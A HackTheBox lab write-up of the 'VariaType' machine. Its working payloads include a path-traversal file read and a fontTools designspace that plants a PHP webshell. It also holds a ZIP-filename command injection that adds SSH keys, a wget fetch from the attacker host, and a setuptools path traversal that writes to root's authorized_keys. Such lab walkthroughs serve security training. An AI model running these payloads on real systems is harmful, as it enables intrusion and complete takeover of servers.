> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/variatype-htb-walkthrough-or-hackthebox-or-by-alham-rizvi.md).

# VariaType — HTB Walkthrough | HackTheBox | By Alham Rizvi

#### VariaType — HTB Walkthrough | HackTheBox | By Alham Rizvi

<figure><img src="https://cdn-images-1.medium.com/max/800/1*5tuPOrx7zlZDNw1UGWqrfQ.png" alt=""><figcaption></figcaption></figure>

Hey everyone, welcome back to my writeup.

I’m really sorry about this one these notes are a bit rough because I accidentally published the writeup while the machine was still active. So this is more like my personal notes than a polished guide.

I also used Claude a bit for help, mainly for some scripts and small summaries.

Anyway, let’s get started.

<figure><img src="https://cdn-images-1.medium.com/max/800/1*mryBnVmmrSZq7n_47n8vCg.png" alt=""><figcaption></figcaption></figure>

<br>

#### 1. Reconnaissance

Started with a full Nmap scan to identify open services:

```
nmap -sC -sV -oN nmap.txt 10.129.244.202
```

Results showed port 80 running nginx, hosting a web application for variable font generation.

Added the target to `/etc/hosts`:

```
echo "10.129.244.202 variatype.htb" | sudo tee -a /etc/hosts
```

***

#### 2. Subdomain Enumeration

Enumerated virtual hosts using FFUF:

```
ffuf -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
```

Discovered: `portal.variatype.htb`

Added to `/etc/hosts`:

```
echo "10.129.244.202 portal.variatype.htb" | sudo tee -a /etc/hosts
```

#### 3. Directory Enumeration

```
ffuf -u http://variatype.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

Found the font generator at `/tools/variable-font-generator`.

#### 4. Git Repository Discovery

The portal exposed a `.git` directory. Dumped it using git-dumper:

```
pip3 install git-dumper --break-system-packages
git-dumper http://portal.variatype.htb/.git git-repo
cd git-repo
```

Searched git history for credentials:

```
git log --oneline --all
git fsck --no-reflog --full --unreachable | grep commit
git show 6f021da6be7086f2595befaa025a83d1de99478b
```

Found hardcoded credentials:

```
Username: gitbot
Password: G1tB0t_Acc3ss_2025!
```

#### 5. LFI via Portal

Logged into the portal and tested the download endpoint for LFI:

```
curl -s -X POST http://portal.variatype.htb/ \
  -d "username=gitbot" \
  -d "password=G1tB0t_Acc3ss_2025!" \
  -c cookies.txt -L
```

```
export PHPSESSID=$(grep PHPSESSID cookies.txt | awk '{print $7}')
```

```
curl -s -b "PHPSESSID=$PHPSESSID" \
  "http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//etc/passwd"
```

Successfully read `/etc/passwd`, confirming LFI. User `steve` confirmed on the system.

#### 6. Initial Access — RCE via CVE-2025–66034

The font generator used fontTools to process `.designspace` files. CVE-2025-66034 allows arbitrary file write combined with XML injection via the `labelname` field and path traversal in the `variable-font` filename attribute.

Created malicious font files:

```
# make_fonts.py
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
```

```
def create_font(filename, weight=400):
    fb = FontBuilder(1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    pen = TTGlyphPen(None)
    pen.moveTo((0,0)); pen.lineTo((500,0)); pen.lineTo((500,500)); pen.lineTo((0,500)); pen.closePath()
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName":"Test","styleName":"W"})
    fb.save(filename)
```

```
create_font("source-light.ttf", 100)
create_font("source-regular.ttf", 400)
```

Created malicious designspace to write a PHP webshell:

```
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET["cmd"]); ?>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets><axis-subset name="Weight"/></axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
```

Uploaded and tested:

```
curl -s -X POST "http://variatype.htb/tools/variable-font-generator/process" \
  -F "designspace=@malicious.designspace" \
  -F "masters=@source-light.ttf" \
  -F "masters=@source-regular.ttf"
```

```
curl -s "http://portal.variatype.htb/files/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

RCE confirmed as `www-data`.

#### 7. Privilege Escalation to Steve — CVE-2024–25082

The server ran a FontForge cron job that processed ZIP files in the upload directory. FontForge was vulnerable to command injection via crafted filenames inside ZIP archives (CVE-2024–25082).

Generated an SSH keypair:

```
ssh-keygen -t ed25519 -f steve_key -N "" -C "steve@pwn"
```

Created the evil ZIP with a command injection payload in the filename:

```
# make_evil_zip.py
import zipfile
pub = open("steve_key.pub","r").read().strip()
payload = f'x$(mkdir -p /home/steve/.ssh && echo "{pub}" >> /home/steve/.ssh/authorized_keys && chmod 700 /home/steve/.ssh && chmod 600 /home/steve/.ssh/authorized_keys).ttf'
with zipfile.ZipFile("evil.zip","w") as z:
    z.writestr(payload, b"\x00"*100)
print("[+] evil.zip created")
```

Served the ZIP and delivered it to the target via the webshell:

```
python3 -m http.server 8888 &
python3 exp.py 'wget http://10.10.15.1:8888/evil.zip -O /var/www/portal.variatype.htb/public/files/evil.zip'
```

Waited 60 seconds for the cron job to execute, then SSH’d in as steve:

```
sleep 60 && ssh -i steve_key steve@10.129.244.202
```

#### 8. User Flag

```
steve@variatype:~$ cat user.txt
e4d5e1e9c51f514aec29fb48b38227cc
```

***

#### 9. Privilege Escalation to Root — Setuptools Path Traversal (CVE-2025–47273)

Checked sudo permissions:

```
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
```

The script used `setuptools PackageIndex().download(plugin_url, PLUGIN_DIR)` which was vulnerable to path traversal via URL-encoded slashes, allowing writing to arbitrary locations.

Generated a root SSH keypair on the attacker machine:

```
ssh-keygen -t ed25519 -f root_key -N "" -C "root@pwn"
```

Served the public key over HTTP:

```
# serve_root_key.py
from http.server import HTTPServer, BaseHTTPRequestHandler
data = open("root_key.pub","rb").read()
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)
    def log_message(self, format, *args):
        pass
HTTPServer(("0.0.0.0", 8889), H).serve_forever()
```

```
python3 serve_root_key.py &
```

Exploited the path traversal from steve’s shell to write the public key to root’s authorized\_keys:

```
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  'http://10.10.15.1:8889/%2Froot%2F.ssh%2Fauthorized_keys'
```

```
# [INFO] Plugin installed at: /root/.ssh/authorized_keys
# [+] Plugin installed successfully.
```

SSH’d in as root from the attacker machine:

```
ssh -i root_key root@10.129.244.202
```

#### 10. Root Flag

```
root@variatype:~# cat /root/root.txt
```

***

#### Vulnerability Summary

<figure><img src="https://cdn-images-1.medium.com/max/800/1*lkmaDmH6a5k1TAoV1IbwWg.png" alt=""><figcaption></figcaption></figure>

<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/variatype-htb-walkthrough-or-hackthebox-or-by-alham-rizvi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
